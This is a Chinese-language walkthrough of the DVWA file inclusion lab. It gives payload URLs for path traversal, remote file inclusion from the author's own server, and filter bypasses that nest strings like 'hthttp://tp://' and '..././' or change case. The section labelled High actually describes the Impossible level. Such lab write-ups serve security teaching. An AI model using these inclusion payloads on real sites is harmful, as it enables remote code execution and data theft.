正常功能
读取并显示php文件里的内容
Low难度
这里可以观察到文件包含链接的格式
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=file3.php
我们可以尝试page=
后面做点文章
代码分析
这里没有对输入进行任何过滤,因此存在很严重的安全漏洞,这里可以尽情的脑洞大开。
访问服务器不存在的文件
随便访问一个不存在的文件,如hackyou.php
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=hackyou.php
这里看到,可以报出文件所在的目录
Warning: include(hackyou.php): failed to open stream: No such file or directory in /www/wwwroot/192.168.47.129/dvwa/vulnerabilities/fi/index.php on line 36
Warning: include(): Failed opening 'hackyou.php' for inclusion (include_path='.:/www/server/php/56/lib/php:../../external/phpids/0.6/lib/') in /www/wwwroot/192.168.47.129/dvwa/vulnerabilities/fi/index.php on line 36
访问服务器存在的文件
尝试使用相对路径访问一些正常不展示的内容
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
访问远程服务器文件
填入自己服务器的php文件,看看效果
访问
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=http://192.168.47.128/test/test.php
发现可以显示
这里我们尝试让它显示我们服务器的php信息
访问
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=http://192.168.47.128/test/test.php
这里只是脑洞大开,想用这个来钓鱼。
一般情况,文件报告漏洞是用来提权或者下载数据使用的
Medium难度
代码分析
发现这里只是过滤了http://
、https://
、../
和..\
,将这些内容替换为空
组合方式构造
我们可以通过将组合的方式,
如hthttp://tp://
这样过滤后为http://
..././..././
这样过滤后为../
然后效果就和之前Low难度一样了
访问服务器存在的文件
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=..././..././phpinfo.php
访问远程服务器文件
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.47.128/test/test.php
大小写绕过
通过代码分析,我们发现仅过滤了小写
这里我们可以通过将修改大小写,尝试绕过
访问远程服务器文件
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=HTTP://192.168.47.128/test/test.php
其他失败的思路:URL加密绕过
除了上述利用过滤机制,这里尝试一下通过url加密的方式进行尝试
http://192.168.47.129/dvwa/vulnerabilities/fi/?page=..%2F..%2Fphpinfo.phpphpinfo.php
发现并没有什么卵用,目测是url加密解析最后还是要经过服务器端的处理,因此不能通过这种方式进行绕过
High难度
代码分析
Impossible难度里面只允许访问include.php
同一目录的file1.php
、file2.php
、file3.php
该难度下只能尝试通过其他漏洞修改这三个文件内容才行
© 版权声明
THE END
暂无评论内容